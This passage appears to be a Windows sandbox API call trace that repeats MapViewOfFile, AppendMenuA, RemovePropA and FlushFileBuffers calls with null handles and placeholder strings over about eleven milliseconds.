	[0065.420] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.420] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.420] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.420] FlushFileBuffers (hFile=0x0) returned 0
	[0065.420] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.420] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.420] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.420] FlushFileBuffers (hFile=0x0) returned 0
	[0065.420] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.420] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.420] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.420] FlushFileBuffers (hFile=0x0) returned 0
	[0065.420] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.420] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.420] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.421] FlushFileBuffers (hFile=0x0) returned 0
	[0065.421] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.421] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.421] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.421] FlushFileBuffers (hFile=0x0) returned 0
	[0065.421] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.421] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.421] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.421] FlushFileBuffers (hFile=0x0) returned 0
	[0065.421] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.421] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.421] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.421] FlushFileBuffers (hFile=0x0) returned 0
	[0065.421] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.421] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.421] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.421] FlushFileBuffers (hFile=0x0) returned 0
	[0065.421] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.421] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.421] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.421] FlushFileBuffers (hFile=0x0) returned 0
	[0065.421] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.421] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.422] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.422] FlushFileBuffers (hFile=0x0) returned 0
	[0065.422] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.422] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.422] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.422] FlushFileBuffers (hFile=0x0) returned 0
	[0065.422] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.422] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.422] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.422] FlushFileBuffers (hFile=0x0) returned 0
	[0065.422] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.422] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.422] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.422] FlushFileBuffers (hFile=0x0) returned 0
	[0065.422] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.422] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.422] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.422] FlushFileBuffers (hFile=0x0) returned 0
	[0065.422] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.422] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.422] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.422] FlushFileBuffers (hFile=0x0) returned 0
	[0065.422] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.423] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.423] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.423] FlushFileBuffers (hFile=0x0) returned 0
	[0065.423] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.423] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.423] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.423] FlushFileBuffers (hFile=0x0) returned 0
	[0065.423] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.423] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.423] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.423] FlushFileBuffers (hFile=0x0) returned 0
	[0065.423] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.423] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.423] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.423] FlushFileBuffers (hFile=0x0) returned 0
	[0065.423] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.423] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.423] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.423] FlushFileBuffers (hFile=0x0) returned 0
	[0065.423] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.423] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.423] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.423] FlushFileBuffers (hFile=0x0) returned 0
	[0065.423] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.424] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.424] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.424] FlushFileBuffers (hFile=0x0) returned 0
	[0065.424] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.424] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.424] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.424] FlushFileBuffers (hFile=0x0) returned 0
	[0065.424] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.424] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.424] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.424] FlushFileBuffers (hFile=0x0) returned 0
	[0065.424] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.424] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.424] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.424] FlushFileBuffers (hFile=0x0) returned 0
	[0065.424] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.424] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.424] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.424] FlushFileBuffers (hFile=0x0) returned 0
	[0065.424] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.424] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.424] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.425] FlushFileBuffers (hFile=0x0) returned 0
	[0065.425] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.425] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.425] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.425] FlushFileBuffers (hFile=0x0) returned 0
	[0065.425] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.425] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.425] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.425] FlushFileBuffers (hFile=0x0) returned 0
	[0065.425] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.425] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.425] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.425] FlushFileBuffers (hFile=0x0) returned 0
	[0065.425] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.425] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.425] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.425] FlushFileBuffers (hFile=0x0) returned 0
	[0065.425] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.425] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.425] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.425] FlushFileBuffers (hFile=0x0) returned 0
	[0065.425] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.425] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.425] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.426] FlushFileBuffers (hFile=0x0) returned 0
	[0065.426] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.426] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.426] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.426] FlushFileBuffers (hFile=0x0) returned 0
	[0065.426] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.426] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.426] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.426] FlushFileBuffers (hFile=0x0) returned 0
	[0065.426] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.426] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.426] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.426] FlushFileBuffers (hFile=0x0) returned 0
	[0065.426] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.426] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.426] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.426] FlushFileBuffers (hFile=0x0) returned 0
	[0065.426] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.426] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.426] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.426] FlushFileBuffers (hFile=0x0) returned 0
	[0065.426] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.426] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.427] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.427] FlushFileBuffers (hFile=0x0) returned 0
	[0065.427] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.427] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.427] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.427] FlushFileBuffers (hFile=0x0) returned 0
	[0065.427] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.427] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.427] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.427] FlushFileBuffers (hFile=0x0) returned 0
	[0065.427] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.427] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.427] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.427] FlushFileBuffers (hFile=0x0) returned 0
	[0065.427] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.427] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.427] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.427] FlushFileBuffers (hFile=0x0) returned 0
	[0065.427] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.427] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.427] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.427] FlushFileBuffers (hFile=0x0) returned 0
	[0065.427] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.428] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.428] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.428] FlushFileBuffers (hFile=0x0) returned 0
	[0065.428] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.428] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.428] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.428] FlushFileBuffers (hFile=0x0) returned 0
	[0065.428] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.428] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.428] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.428] FlushFileBuffers (hFile=0x0) returned 0
	[0065.428] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.428] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.428] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.428] FlushFileBuffers (hFile=0x0) returned 0
	[0065.428] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.428] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.428] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.428] FlushFileBuffers (hFile=0x0) returned 0
	[0065.428] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.428] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.428] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.428] FlushFileBuffers (hFile=0x0) returned 0
	[0065.428] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.429] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.429] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.429] FlushFileBuffers (hFile=0x0) returned 0
	[0065.429] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.429] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.429] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.429] FlushFileBuffers (hFile=0x0) returned 0
	[0065.429] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.429] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.429] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.429] FlushFileBuffers (hFile=0x0) returned 0
	[0065.429] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.429] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.429] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.429] FlushFileBuffers (hFile=0x0) returned 0
	[0065.429] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.429] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.429] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.429] FlushFileBuffers (hFile=0x0) returned 0
	[0065.429] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.429] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.429] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.430] FlushFileBuffers (hFile=0x0) returned 0
	[0065.430] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.430] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.430] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.430] FlushFileBuffers (hFile=0x0) returned 0
	[0065.430] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.430] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.430] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.430] FlushFileBuffers (hFile=0x0) returned 0
	[0065.430] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.430] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.430] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.430] FlushFileBuffers (hFile=0x0) returned 0
	[0065.430] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.430] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.430] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.430] FlushFileBuffers (hFile=0x0) returned 0
	[0065.430] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.430] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.430] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.430] FlushFileBuffers (hFile=0x0) returned 0
	[0065.430] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.430] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.430] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.431] FlushFileBuffers (hFile=0x0) returned 0
	[0065.431] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.431] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
